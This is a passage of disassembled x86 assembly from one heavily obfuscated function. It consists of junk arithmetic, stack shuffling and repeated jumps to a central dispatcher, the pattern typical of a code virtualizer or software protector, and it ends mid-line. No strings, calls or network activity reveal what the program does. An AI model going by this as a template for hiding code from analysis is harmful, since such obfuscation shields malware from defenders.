push edi mov edi, 4A152C38h push ebx jmp loc_5952DD ; --------------------------------------------------------------------------- loc_594F15: ; CODE XREF: sub_581EE9+11665j sub al, cl pop ecx xor al, 0F5h jmp loc_5A02C7 ; --------------------------------------------------------------------------- loc_594F1F: ; CODE XREF: sub_581EE9+1EA2Cj mov ebx, edx jmp loc_599B3B ; --------------------------------------------------------------------------- loc_594F26: ; CODE XREF: sub_581EE9+160EBj xchg eax, [esp-6E7Eh+arg_6E76] jmp loc_5A011E ; --------------------------------------------------------------------------- loc_594F2E: ; CODE XREF: sub_581EE9+118DCj inc esi not esi xor esi, 0A926FF56h sub edi, esi push [esp-6E9Ch+arg_6E92+2] pop esi push edx mov edx, esp sub esp, 4 jmp loc_5942DE ; --------------------------------------------------------------------------- loc_594F4B: ; CODE XREF: sub_581EE9+1AE46j push [esp-6E94h+arg_6E8A+2] pop ebx push ebx mov ebx, esp add ebx, 4 jmp loc_592090 ; --------------------------------------------------------------------------- loc_594F5D: ; CODE XREF: sub_581EE9+1A3E3j jmp loc_591F70 ; --------------------------------------------------------------------------- loc_594F62: ; CODE XREF: sub_581EE9+22683j dec edi sub edi, 7E47648Bh jmp loc_59E0EB ; --------------------------------------------------------------------------- loc_594F6E: ; CODE XREF: sub_581EE9+1A265j push ebx mov ebx, 58B93953h jmp loc_597EA8 ; --------------------------------------------------------------------------- loc_594F79: ; CODE XREF: sub_581EE9+159AAj xor esi, 5AF068E0h sub esi, 3DAC6677h dec esi jmp loc_59B006 ; --------------------------------------------------------------------------- loc_594F8B: ; CODE XREF: sub_581EE9+17CF1j mov [esp-6E8Ch+arg_6E84], eax mov al, 62h add al, 13h sub al, 1Eh jmp loc_595C2B ; --------------------------------------------------------------------------- lodsd sub eax, 628C278Ah sub eax, ebx push 33B3h mov [esp-6E88h+arg_6E80], edx mov edx, 24984829h push ebx mov ebx, 1FE800AFh and edx, ebx jmp loc_5A6A8C ; --------------------------------------------------------------------------- loc_594FBB: ; CODE XREF: sub_581EE9+21EF7j jmp loc_591F70 ; --------------------------------------------------------------------------- loc_594FC0: ; CODE XREF: sub_581EE9+1D0E1j pop edi add edi, 4 jmp loc_5990E2 ; --------------------------------------------------------------------------- loc_594FCC: ; CODE XREF: sub_581EE9+1BE81j mov ax, word ptr [esp-6E88h+arg_6E80] jmp loc_59EAFF ; --------------------------------------------------------------------------- loc_594FD5: ; CODE XREF: sub_581EE9+22A1Ej add esp, 4 add edx, edi jmp loc_5A2E7D ; --------------------------------------------------------------------------- loc_594FE2: ; CODE XREF: sub_581EE9+1F0F5j pop [esp-6E8Ch+arg_6E84] mov esp, [esp+0] add esp, 4 jmp loc_592C38 ; --------------------------------------------------------------------------- loc_594FF0: ; CODE XREF: sub_581EE9+242EAj add eax, edi jmp loc_5A03C6 ; --------------------------------------------------------------------------- loc_594FF7: ; CODE XREF: sub_581EE9+106FFj sub ecx, 45D44EFAh push 740Bh mov [esp-6EA8h+arg_6E9E+2], ebx mov ebx, 10E17E57h dec ebx xor ebx, 2D42BED3h jmp loc_59ACCC ; --------------------------------------------------------------------------- loc_595016: ; CODE XREF: sub_581EE9+1E5B6j push edx mov edx, 22120034h xor edi, edx pop edx push ecx mov ecx, edi jmp loc_59E9A0 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp-6EA6h+arg_6E9E], cl pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_595036: ; CODE XREF: sub_581EE9+1E754j mov ch, 52h add al, ch pop ecx xor al, 0DCh neg al jmp loc_598077 ; --------------------------------------------------------------------------- loc_595044: ; CODE XREF: sub_581EE9+15AE0j pop ebp push ecx jmp loc_596D10 ; --------------------------------------------------------------------------- loc_59504B: ; CODE XREF: sub_581EE9+1701Fj mov [esp-6EA6h+arg_6E9E], edx push esp mov edx, [esp-6EA2h+arg_6E9A] add esp, 4 sub esp, 4 mov [esp-6EA2h+arg_6E9A], ebp jmp loc_596606 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6EA2h+arg_6E9A] push 6139h mov [esp-6E9Eh+arg_6E96], esi push 370Bh push esp jmp loc_59A817 ; --------------------------------------------------------------------------- loc_595077: ; CODE XREF: sub_581EE9+1FDF7j mov [esp-6E96h+arg_6E8E], eax jmp loc_5A528F ; --------------------------------------------------------------------------- loc_59507F: ; CODE XREF: sub_581EE9+144E7j pop eax xor ebx, [esp-6E9Ah+arg_6E92] xor [esp-6E9Ah+arg_6E92], ebx xor ebx, [esp-6E9Ah+arg_6E92] jmp loc_595A5A ; --------------------------------------------------------------------------- loc_59508E: ; CODE XREF: sub_581EE9+23718j mov bh, cl mov al, bh pop ebx mov ecx, [esp-6E9Eh+arg_6E96] add esp, 4 sub al, 0FFh jmp loc_5A1EA5 ; --------------------------------------------------------------------------- loc_5950A3: ; CODE XREF: sub_581EE9+1D0CFj mov esp, [esp-6EA2h+arg_6E9A] mov ax, word ptr [esp-6EA2h+arg_6E9A] push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp-6E9Eh+arg_6E96] jmp loc_5A120B ; --------------------------------------------------------------------------- loc_5950BE: ; CODE XREF: sub_581EE9+19287j sub esp, 4 jmp loc_5960FE ; --------------------------------------------------------------------------- loc_5950C9: ; CODE XREF: sub_581EE9+1F50Aj mov al, bh mov ch, al pop eax jmp loc_59BD40 ; --------------------------------------------------------------------------- loc_5950D3: ; CODE XREF: sub_581EE9+19294j pop edx jmp loc_59CC26 ; --------------------------------------------------------------------------- loc_5950D9: ; CODE XREF: sub_581EE9+1C96Aj inc edx sub edx, 1 sub edx, 6A888398h xor esi, edx pop edx sub ecx, esi mov esi, [esp-6EA6h+arg_6E9E] add esp, 4 xchg ecx, dword ptr [esp-6EAAh+arg_6EA2] mov esp, dword ptr [esp-6EAAh+arg_6EA2] mov [esp-6EAAh+arg_6EA2], cx movzx cx, al push cx pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59510A: ; CODE XREF: sub_581EE9+1CF0Bj add ebx, 6C3D533Ah push esi mov esi, 55DF7560h neg esi push edi mov edi, 0C0C97DC5h add esi, edi pop edi sub ebx, 45642E22h jmp loc_59C36B ; --------------------------------------------------------------------------- loc_59512C: ; CODE XREF: sub_581EE9+1278Cj sub esp, 4 mov [esp-6E5Ah+arg_6E50+2], edi jmp loc_5A3E6C ; --------------------------------------------------------------------------- loc_59513A: ; CODE XREF: sub_581EE9+231F9j push edx mov edx, 1A565907h push eax mov eax, 63C4CA4h neg eax sub eax, 0F9C3B35Ch add eax, 458F5D3Eh sub eax, edx sub eax, 458F5D3Eh mov edx, eax pop eax dec edx xor edx, 937997B0h and edi, edx mov edx, [esp-6E56h+arg_6E4C+2] add esp, 4 sub edi, 0C242759h push ecx mov ecx, 70FD71AEh add edi, ecx mov ecx, [esp-6E56h+arg_6E4C+2] jmp loc_5A1D01 ; --------------------------------------------------------------------------- loc_595181: ; CODE XREF: sub_581EE9+1045Bj sub esp, 2 mov word ptr [esp-6EA8h+arg_6E9E+2], bx mov bh, dh not bh mov dh, bh pop bx sub dh, 2Fh add al, 63h add al, dh sub al, 63h pop edx sub al, 0E6h sub al, cl add al, 0E6h sub al, 0E4h jmp loc_5969EF ; --------------------------------------------------------------------------- loc_5951A7: ; CODE XREF: sub_581EE9+22D4Aj push ebx push 318A62F2h pop ebx add ebx, 2717FB84h add ecx, 63BD3F9Bh sub ecx, ebx sub ecx, 63BD3F9Bh mov ebx, dword ptr [esp-6EAAh+arg_6EA2] add esp, 4 not ecx neg ecx xor ecx, 9284A24Fh jmp loc_59639C ; --------------------------------------------------------------------------- loc_5951D7: ; CODE XREF: sub_581EE9+13746j add edx, ebp jmp loc_5989DE ; --------------------------------------------------------------------------- loc_5951DE: ; CODE XREF: sub_581EE9+2177Bj sub esp, 4 mov dword ptr [esp-6EAAh+arg_6EA2], ecx push 4 jmp loc_5985C0 ; --------------------------------------------------------------------------- loc_5951EE: ; CODE XREF: sub_581EE9+15FA9j dec edx jmp loc_592205 ; --------------------------------------------------------------------------- loc_5951F4: ; CODE XREF: sub_581EE9+1800Aj xor edi, [esp-6EA6h+arg_6E9E] mov esp, [esp-6EA6h+arg_6E9E] shr [esp-6EA6h+arg_6E9E], cl pushf jmp loc_5A296A ; --------------------------------------------------------------------------- loc_595203: ; CODE XREF: sub_581EE9+22E6Fj push ebp mov ebp, esp add ebp, 4 jmp loc_594568 ; --------------------------------------------------------------------------- loc_595211: ; CODE XREF: sub_581EE9+17213j pop ebp add esp, 4 push esi mov esi, 8974560Ch jmp loc_59E80D ; --------------------------------------------------------------------------- loc_595223: ; CODE XREF: sub_581EE9+1E522j or cl, 16h shr cl, 5 xor cl, 28h mov dh, cl pop ecx add bl, 84h add bl, dh sub bl, 84h push [esp-6EA6h+arg_6E9E] pop edx push 2DEFh mov [esp-6EA2h+arg_6E9A], edx push esp pop edx sub esp, 4 mov [esp-6E9Eh+arg_6E96], ebx jmp loc_5A62F9 ; --------------------------------------------------------------------------- loc_595253: ; CODE XREF: sub_581EE9+20ED7j or dl, 0DEh push bx push eax mov al, 3Bh xor al, 94h sub al, 3Fh add al, 83h push edx mov dh, al push ecx mov ch, dh mov bl, ch pop ecx mov edx, [esp-6E94h+arg_6E8A+2] add esp, 4 push [esp-6E98h+arg_6E8E+2] pop eax add esp, 4 sub dl, bl mov bx, word ptr [esp-6E9Ch+arg_6E92+2] add esp, 2 shr dl, 8 xor dl, 0C2h and ah, dl pop edx and ah, 37h and ah, 90h push 1096h mov [esp-6EA0h+arg_6E96+2], ebx mov bh, 0D3h add ah, bh pop ebx sub bl, 59h add bl, ah add bl, 59h pop eax add bl, 9Ch add bl, 0Dh add bl, al sub bl, 0Dh jmp loc_59FEB4 ; --------------------------------------------------------------------------- loc_5952BB: ; CODE XREF: sub_581EE9+106E1j jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5952C0: ; CODE XREF: sub_581EE9+18CE5j push esi jmp loc_59C5C8 ; --------------------------------------------------------------------------- loc_5952C6: ; CODE XREF: sub_581EE9+13468j mov edi, esp push edx mov edx, 5AAC4258h sub edx, 3031015Bh inc edx shr edx, 5 jmp loc_595B1D ; --------------------------------------------------------------------------- loc_5952DD: ; CODE XREF: sub_581EE9+13027j mov ebx, 158FF90Eh sub edi, ebx pop ebx sub edi, 5C4B32B9h inc edi neg edi push ecx jmp loc_598885 ; --------------------------------------------------------------------------- loc_5952F4: ; CODE XREF: sub_581EE9+1844Cj add esp, 4 jmp loc_5934F3 ; --------------------------------------------------------------------------- push [esp-6E86h+arg_6E7C+2] pop ecx push 1FFBh mov dword ptr [esp-6E82h+arg_6E7A], ebp push 599Fh push esp jmp loc_5A22A4 ; --------------------------------------------------------------------------- loc_595316: ; CODE XREF: sub_581EE9+1AA71j push ecx mov ecx, esp jmp loc_59A1C2 ; --------------------------------------------------------------------------- loc_59531E: ; CODE XREF: sub_581EE9+1F315j push [esp-6E76h+arg_6E6E] mov edi, [esp-6E72h+arg_6E68+2] push 3B17h mov [esp-6E6Eh+arg_6E64+2], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-6E6Eh+arg_6E64+2] pop esp sub esp, 4 jmp loc_595AC3 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6E6Eh+arg_6E64+2] push 4312h mov [esp-6E6Ah+arg_6E60+2], edi jmp loc_5952C6 ; --------------------------------------------------------------------------- loc_595356: ; CODE XREF: sub_581EE9+1F6FFj push [esp-6E6Ah+arg_6E60+2] pop esi add esp, 4 xchg edi, [esp-6E6Eh+arg_6E64+2] mov esp, [esp-6E6Eh+arg_6E64+2] push 7D17h mov [esp-6E6Ah+arg_6E60+2], ebp mov ebp, 1BE33A77h jmp loc_5991B1 ; --------------------------------------------------------------------------- loc_595375: ; CODE XREF: sub_581EE9+187B1j pop esp xchg ebx, [esp-6E6Eh+arg_6E64+2] jmp loc_59C769 ; --------------------------------------------------------------------------- loc_59537E: ; CODE XREF: sub_581EE9+20E46j push ecx mov ecx, 1933A8Bh jmp loc_595A10 ; --------------------------------------------------------------------------- loc_595389: ; CODE XREF: sub_581EE9+24509j add ebp, ebx jmp loc_596659 ; --------------------------------------------------------------------------- loc_595390: ; CODE XREF: sub_581EE9+23BB4j sub ebp, 4 xchg ebp, [esp-6E6Ah+arg_6E60+2] pop esp mov [esp-6E6Eh+arg_6E64+2], edi mov edi, 787517B1h jmp loc_59C954 ; --------------------------------------------------------------------------- loc_5953A4: ; CODE XREF: sub_581EE9+1B1C3j push [esp-6E6Eh+arg_6E68+2] pop eax pop [esp-6E6Eh+arg_6E64+2] pop esp test cl, al pushf jmp loc_59C016 ; --------------------------------------------------------------------------- loc_5953B5: ; CODE XREF: sub_581EE9+1C842j push [esp-6E72h+arg_6E68+2] mov eax, [esp-6E6Eh+arg_6E64+2] add esp, 4 add esp, 4 add [esp-6E76h+arg_6E72], esi pop esi pop esi add esi, 4 jmp loc_593A2E ; --------------------------------------------------------------------------- loc_5953D5: ; CODE XREF: sub_581EE9+17421j push esi neg [esp-6E7Ah+arg_6E72] jmp loc_594D3F ; --------------------------------------------------------------------------- loc_5953DE: ; CODE XREF: sub_581EE9+10999j add esp, 4 jmp loc_597718 ; --------------------------------------------------------------------------- loc_5953E6: ; CODE XREF: sub_581EE9+11CBFj mov [esp], ecx push ebp push ecx mov ecx, 4DD34C6Eh add ecx, 0B22CB394h mov ebp, ecx pop ecx jmp loc_5A3D89 ; --------------------------------------------------------------------------- loc_5953FE: ; CODE XREF: sub_581EE9+22B3Cj xor ebp, [esp-6E76h+arg_6E6E] mov esp, [esp-6E76h+arg_6E6E] inc word ptr [esp-6E76h+arg_6E6E] pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59540E: ; CODE XREF: sub_581EE9+2264Dj push ebx sub esp, 4 mov [esp-6E6Ah+arg_6E60+2], esp add [esp-6E6Ah+arg_6E60+2], 4 pop ebx push edi jmp loc_59B97A ; --------------------------------------------------------------------------- loc_595426: ; CODE XREF: sub_581EE9+195C0j mov [esp-6E6Ah+arg_6E60+2], ecx push 1744h mov [esp-6E66h+arg_6E5C+2], ebx jmp loc_59A83C ; --------------------------------------------------------------------------- loc_595436: ; CODE XREF: sub_581EE9+15594j mov ebp, 1CF4524Ah dec ebp neg ebp sub ebp, 0E30BADB3h jmp loc_5A7090 ; --------------------------------------------------------------------------- loc_595449: ; CODE XREF: sub_581EE9+1EED1j sub esp, 4 mov [esp-6E62h+arg_6E58+2], ebx mov ebx, 4 add eax, ebx pop ebx add eax, 4 xchg eax, [esp-6E66h+arg_6E5C+2] pop esp add esp, 4 jmp loc_5A3BDB ; --------------------------------------------------------------------------- loc_595469: ; CODE XREF: sub_581EE9+2259Aj add [esp-6E6Eh+arg_6E64+2], 565A14DBh mov eax, [esp-6E6Eh+arg_6E64+2] add esp, 4 jmp loc_5A64FB ; --------------------------------------------------------------------------- loc_59547E: ; CODE XREF: sub_581EE9+14B45j add esp, 4 xchg esi, [esp-6E76h+arg_6E6E] mov esp, [esp-6E76h+arg_6E6E] jmp loc_59C58C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl [esp-6E78h+arg_6E6E+2], cl pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59549B: ; CODE XREF: sub_581EE9+22B7Bj pop edx add esp, 4 add esp, 4 xor bl, al push 6292h mov [esp-6E7Ch+arg_6E72+2], ecx push ebx mov bl, al mov ch, bl pop ebx push ebx mov ebx, 28h jmp loc_5A586F ; --------------------------------------------------------------------------- loc_5954BD: ; CODE XREF: sub_581EE9+1828Dj sub esp, 4 mov [esp+0], ecx mov cl, 0DBh sub bl, cl pop ecx sub bl, 0DFh push ecx push bx mov bl, 42h mov ch, bl pop bx sub ch, 0A2h sub ch, 5Fh sub bl, 0DBh jmp loc_596AE4 ; --------------------------------------------------------------------------- loc_5954E5: ; CODE XREF: sub_581EE9+19635j push ecx push esp pop ecx push eax mov eax, 60987116h dec eax add eax, 204171BCh neg eax jmp loc_5A1ECC ; --------------------------------------------------------------------------- loc_5954FB: ; CODE XREF: sub_581EE9+1A9C4j mov ebp, ebx mov ebx, [esp-6E6Ch+arg_6E64] add esp, 4 sub eax, 20AC40BEh jmp loc_5A097E ; --------------------------------------------------------------------------- loc_59550D: ; CODE XREF: sub_581EE9+150B4j mov [esp-6E70h+arg_6E68], edi mov edi, esp push 16Ah jmp loc_59704B ; --------------------------------------------------------------------------- loc_59551C: ; CODE XREF: sub_581EE9+1C521j mov ebx, [esp-6E6Ch+arg_6E64] add esp, 4 shl esi, 5 shl esi, 4 shl esi, 7 shr esi, 1 push 2E66h mov [esp-6E6Ch+arg_6E64], ebx jmp loc_599874 ; --------------------------------------------------------------------------- loc_59553A: ; CODE XREF: sub_581EE9+1A02Aj and edx, 58752554h and edx, 60250F29h xor edx, 35857BCEh add edi, edx pop edx add edi, 742F2DFAh add ebx, edi jmp loc_59B85E ; --------------------------------------------------------------------------- loc_59555C: ; CODE XREF: sub_581EE9+1CCC0j push edx mov edx, 7F49167Fh mov esi, edx pop edx not esi xor esi, 50CA2256h sub esi, 0FFFFFFFFh inc esi neg esi add esi, 25ADE774h jmp loc_5A4D24 ; --------------------------------------------------------------------------- loc_595581: ; CODE XREF: sub_581EE9+102DFj add esp, 4 sub edi, ebx jmp loc_5A4062 ; --------------------------------------------------------------------------- loc_59558B: ; CODE XREF: sub_581EE9+1BF7Cj mov ebp, 55EC08A7h push edi push ebp mov ebp, 62C70A0Fh add ebp, 2F513776h and ebp, 4DB84C6Fh add ebp, 2CFC1C15h push edx mov edx, 10C0F382h sub ebp, edx pop edx mov edi, ebp pop ebp dec edi jmp loc_59CAC9 ; --------------------------------------------------------------------------- loc_5955BB: ; CODE XREF: sub_581EE9+19009j xor eax, [esp-6E9Eh+arg_6E96] xor [esp-6E9Eh+arg_6E96], eax xor eax, [esp-6E9Eh+arg_6E96] mov esp, [esp-6E9Eh+arg_6E96] add edi, 2CC319ABh push ecx mov ecx, 55CB5CBEh dec ecx xchg edi, ecx not edi xchg edi, ecx and ecx, 65E22630h dec ecx xor ecx, 6E1F3B30h jmp loc_5A3E33 ; --------------------------------------------------------------------------- loc_5955EC: ; CODE XREF: sub_581EE9+12493j push edi mov edi, esp push ebp mov ebp, 1BED1F3Fh sub ebp, 1BED1F3Bh add edi, ebp pop ebp add edi, 4 push edi push [esp-6E90h+arg_6E8A+2] pop edi pop dword ptr [esp+0] pop esp push eax push [esp-6E94h+arg_6E8E+2] pop eax jmp loc_599EE1 ; --------------------------------------------------------------------------- loc_595619: ; CODE XREF: sub_581EE9+16C59j not esi push ecx mov ecx, 9FDAA7D4h jmp loc_5973C3 ; --------------------------------------------------------------------------- loc_595626: ; CODE XREF: sub_581EE9+1DB16j add edi, edx pop edx jmp loc_597B63 ; --------------------------------------------------------------------------- loc_59562E: ; CODE XREF: sub_581EE9+1D77Aj pop eax jmp loc_5951D7 ; --------------------------------------------------------------------------- dd 81242489h, 42404h, 5E90000h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_595643: ; CODE XREF: sub_581EE9+11EAFj push esp pop ebx jmp loc_594DC8 ; --------------------------------------------------------------------------- loc_59564A: ; CODE XREF: sub_581EE9+12448j push 3C1Ch jmp loc_59FA45 ; --------------------------------------------------------------------------- loc_595654: ; CODE XREF: sub_581EE9+1B37Dj mov ecx, esi pop esi xor ebp, ecx pop ecx push ebp push edi jmp loc_5A60B5 ; --------------------------------------------------------------------------- loc_595661: ; CODE XREF: sub_581EE9+10FEAj neg edx jmp loc_59B175 ; --------------------------------------------------------------------------- loc_595668: ; CODE XREF: sub_581EE9+1E59Fj mov [esp-6E6Ah+arg_6E60+2], esi pop ebx pop esi sub ebx, esi mov esi, [esp-6E72h+arg_6E68+2] add esp, 4 sub ebx, 17113283h jmp loc_598F62 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6E76h+arg_6E6E] push 3A75h mov [esp-6E72h+arg_6E68+2], ebx mov ebx, esp jmp loc_59B842 ; --------------------------------------------------------------------------- loc_595696: ; CODE XREF: sub_581EE9+12994j add esp, 4 sub esp, 4 mov [esp-6E46h+arg_6E3E], ecx mov ecx, 1D03697Ah sub ecx, 78CC0C84h and ecx, 2DC13D32h xor ecx, 67034832h xor ebx, ecx jmp loc_596E37 ; --------------------------------------------------------------------------- loc_5956C0: ; CODE XREF: sub_581EE9+14D9Ej mov [esp-6E46h+arg_6E3E], esi push eax mov eax, 70A95CC9h shr eax, 1 sub eax, 327A6035h jmp loc_59EDD0 ; --------------------------------------------------------------------------- loc_5956D5: ; CODE XREF: sub_581EE9+20D9Bj add eax, 0EF15DE1h push eax pop edx mov eax, [esp-6E42h+arg_6E3A] add esp, 4 push edx pop ebx jmp loc_59C153 ; --------------------------------------------------------------------------- loc_5956EC: ; CODE XREF: sub_581EE9+1AF7Cj pop ebx sub ebx, 536356DFh xor ebx, 3C423F6Ch and ebx, 1CDC37B2h jmp loc_5A4E70 ; --------------------------------------------------------------------------- loc_595704: ; CODE XREF: sub_581EE9+21966j pop ebp add ebx, ebp push edi mov edi, 316A38B1h jmp loc_599AF6 ; --------------------------------------------------------------------------- loc_595712: ; CODE XREF: sub_581EE9+1CE6Ej pop esi push ebp mov ebp, 545D90F5h add eax, ebp mov ebp, [esp+0] add esp, 4 add ebp, eax jmp loc_5A5328 ; --------------------------------------------------------------------------- loc_595728: ; CODE XREF: sub_581EE9+16B5Cj mov ecx, ebp jmp loc_59FCD9 ; --------------------------------------------------------------------------- loc_59572F: ; CODE XREF: sub_581EE9+23320j pop esi mov edi, [esp-6E52h+arg_6E48+2] push 5DB6h mov [esp-6E4Eh+arg_6E44+2], esi jmp loc_599BDF ; --------------------------------------------------------------------------- loc_595740: ; CODE XREF: sub_581EE9+16D63j push ebp push esp pop ebp add ebp, 4 push 2258h mov [esp-6E46h+arg_6E3E], eax push ebp mov ebp, 2 mov eax, ebp pop ebp jmp loc_599F5A ; --------------------------------------------------------------------------- loc_59575F: ; CODE XREF: sub_581EE9+21915j add bl, dl mov edx, [esp-6E46h+arg_6E3E] sub esp, 4 jmp loc_5A59BD ; --------------------------------------------------------------------------- loc_59576F: ; CODE XREF: sub_581EE9+2529Ej sub di, bx pop ebx pop bp push ax push esi mov si, 388Ch push bp jmp loc_595858 ; --------------------------------------------------------------------------- loc_595783: ; CODE XREF: sub_581EE9+1B763j add ecx, 2592F2Bh pop edx mov ebx, ecx pop ecx add esi, ebx mov ebx, [esp-6E48h+arg_6E3E+2] push ebp mov ebp, esp push edi mov edi, 4 add ebp, edi mov edi, [esp-6E40h+arg_6E36+2] add esp, 4 push eax mov eax, 4 add ebp, eax mov eax, [esp-6E40h+arg_6E36+2] jmp loc_5A3B5F ; --------------------------------------------------------------------------- loc_5957B3: ; CODE XREF: sub_581EE9+14825j push eax mov eax, 54C74B81h not eax neg eax jmp loc_59E379 ; --------------------------------------------------------------------------- loc_5957C2: ; CODE XREF: sub_581EE9+12166j add esp, 4 push edi mov edi, 2 sub edx, 50801EC0h add edx, 6A017AD0h add edx, edi sub edx, 6A017AD0h add edx, 50801EC0h pop edi xor edx, [esp-6E7Eh+arg_6E76] xor [esp-6E7Eh+arg_6E76], edx xor edx, [esp-6E7Eh+arg_6E76] mov esp, [esp-6E7Eh+arg_6E76] btc word ptr [esp-6E7Eh+arg_6E76], ax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5957FD: ; CODE XREF: sub_581EE9+21A59j pop ebx inc edi push ebp jmp loc_5A16D7 ; --------------------------------------------------------------------------- loc_595805: ; CODE XREF: sub_581EE9+23B42j pop eax add esp, 4 sub ebp, 26F75D9Ch jmp loc_593BAD ; --------------------------------------------------------------------------- loc_595817: ; CODE XREF: sub_581EE9+24080j pop edx xor al, bl pop ebx jmp loc_593485 ; --------------------------------------------------------------------------- loc_595820: ; CODE XREF: sub_581EE9+1F851j pop ebx push 40E9h mov [esp-6E8Ah+arg_6E80+2], esi mov esi, 7C0E4CF0h inc esi jmp loc_59B64F ; --------------------------------------------------------------------------- loc_595834: ; CODE XREF: sub_581EE9+206C8j push esi mov esi, 1E611784h jmp loc_5925B1 ; --------------------------------------------------------------------------- loc_59583F: ; CODE XREF: sub_581EE9+12638j pop edi mov ebx, ebp pop ebp push 3E9Fh jmp loc_59FC74 ; --------------------------------------------------------------------------- loc_59584D: ; CODE XREF: sub_581EE9+1FC83j and ebp, 1491610Fh jmp loc_5A1A52 ; --------------------------------------------------------------------------- loc_595858: ; CODE XREF: sub_581EE9+13895j mov bp, 53ACh xor si, bp pop bp jmp loc_5963FD ; --------------------------------------------------------------------------- loc_595866: ; CODE XREF: sub_581EE9+24DCFj mov [esp-6E42h+arg_6E3A], ebp mov ebp, 58C034A0h add edi, 52EA4197h add edi, 50810F10h jmp loc_59D4E5 ; --------------------------------------------------------------------------- loc_59587F: ; CODE XREF: sub_581EE9+235C9j pop ecx add esp, 4 jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59588B: ; CODE XREF: sub_581EE9+1AE94j push eax mov al, bh not al push edx mov dh, al mov bh, dh jmp loc_592B2D ; --------------------------------------------------------------------------- loc_59589A: ; CODE XREF: sub_581EE9+16A0Ej mov eax, 4 add esi, eax pop eax jmp loc_5A70D6 ; --------------------------------------------------------------------------- loc_5958A7: ; CODE XREF: sub_581EE9+1252Dj mov edx, 506F4698h jmp loc_59B576 ; --------------------------------------------------------------------------- loc_5958B1: ; CODE XREF: sub_581EE9+17CA8j mov [esp-6E9Eh+arg_6E96], edx push esp mov edx, [esp-6E9Ah+arg_6E92] add esp, 4 push esi jmp loc_593FD6 ; --------------------------------------------------------------------------- loc_5958C1: ; CODE XREF: sub_581EE9+211A8j xchg esi, [esp-6E9Ah+arg_6E92] mov esp, [esp-6E9Ah+arg_6E92] add ecx, 4 push ecx push [esp-6E96h+arg_6E92] pop ecx jmp loc_5A2177 ; --------------------------------------------------------------------------- loc_5958D5: ; CODE XREF: sub_581EE9+1672Bj add edx, 989E9643h add edi, 17EC178Dh add edi, edx sub edi, 17EC178Dh mov edx, [esp-6E96h+arg_6E8E] add esp, 4 xor edi, [esp-6E9Ah+arg_6E92] xor [esp-6E9Ah+arg_6E92], edi xor edi, [esp-6E9Ah+arg_6E92] mov esp, [esp-6E9Ah+arg_6E92] add esp, 4 imul ecx push 437Eh mov [esp-6E9Ah+arg_6E92], edx push eax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_595912: ; CODE XREF: sub_581EE9+2493Cj add ebp, esi pop esi push eax mov eax, 4 sub ebp, eax pop eax xchg ebp, [esp-6E96h+arg_6E8E] mov esp, [esp-6E96h+arg_6E8E] mov [esp-6E96h+arg_6E8E], ebx jmp loc_59E5E9 ; --------------------------------------------------------------------------- loc_59592C: ; CODE XREF: sub_581EE9+12EAAj pop dx shl cl, 2 sub cl, 2Bh add cl, 66h mov ah, 21h sub ah, cl pop ecx add dl, ah mov eax, [esp+0] add esp, 4 jmp loc_59B5BC ; --------------------------------------------------------------------------- loc_59594C: ; CODE XREF: sub_581EE9+212E3j push esp pop ebp jmp loc_5A2404 ; --------------------------------------------------------------------------- loc_595953: ; CODE XREF: sub_581EE9+11EF5j pop ebx xchg ebp, [esp-6E9Eh+arg_6E96] pop esp jmp loc_59F4DE ; --------------------------------------------------------------------------- loc_59595D: ; CODE XREF: sub_581EE9+19967j mov edi, 2 add ebx, edi mov edi, [esp-6EA2h+arg_6E9A] sub esp, 4 mov [esp-6E9Eh+arg_6E96], ebx mov ebx, esp add ebx, 4 jmp loc_5963C8 ; --------------------------------------------------------------------------- loc_59597A: ; CODE XREF: sub_581EE9+24A1Fj jmp loc_591F70 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb byte ptr [esp-6EA0h+arg_6E96+2], al pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59598E: ; CODE XREF: sub_581EE9+19A30j mov edi, 4 add ebp, edi pop edi xor ebp, [esp-6EA0h+arg_6E96+2] xor [esp-6EA0h+arg_6E96+2], ebp xor ebp, [esp-6EA0h+arg_6E96+2] pop esp add esi, 1 push 2789h mov [esp-6EA0h+arg_6E96+2], ecx mov ecx, 2010A5E7h xor esi, ecx mov ecx, [esp-6EA0h+arg_6E96+2] add esp, 4 and eax, esi mov esi, [esp-6EA4h+arg_6E9A+2] jmp loc_5A5DDA ; --------------------------------------------------------------------------- loc_5959C5: ; CODE XREF: sub_581EE9+24A10j mov ebp, 61B100BEh dec ebp xor ebp, 61B100B9h add eax, ebp pop ebp xchg eax, [esp-6EA8h+arg_6E9E+2] jmp loc_59FF2B ; --------------------------------------------------------------------------- loc_5959DC: ; CODE XREF: sub_581EE9+1C3CDj xchg eax, [esp-6EA8h+arg_6E9E+2] pop esp sub esp, 4 mov [esp-6EA8h+arg_6E9E+2], esi push esp pop esi add esi, 4 push 0C55h jmp loc_5A4648 ; --------------------------------------------------------------------------- loc_5959F8: ; CODE XREF: sub_581EE9+1B85Ej xor [esp-6EA4h+arg_6E9A+2], eax xor eax, [esp-6EA4h+arg_6E9A+2] jmp loc_5A3FB9 ; --------------------------------------------------------------------------- loc_595A03: ; CODE XREF: sub_581EE9+1EE6Cj pop esp push eax mov al, 0FAh push small 4340h jmp loc_59C4A3 ; --------------------------------------------------------------------------- loc_595A10: ; CODE XREF: sub_581EE9+1349Bj mov edx, 0B87AB746h jmp loc_5A3947 ; --------------------------------------------------------------------------- loc_595A1A: ; CODE XREF: sub_581EE9+1A03Dj sub ecx, 4 xchg ecx, [esp-6E6Ah+arg_6E60+2] pop esp mov [esp-6E6Eh+arg_6E64+2], ecx push edi push 23740DAh jmp loc_598A1B ; --------------------------------------------------------------------------- loc_595A2F: ; CODE 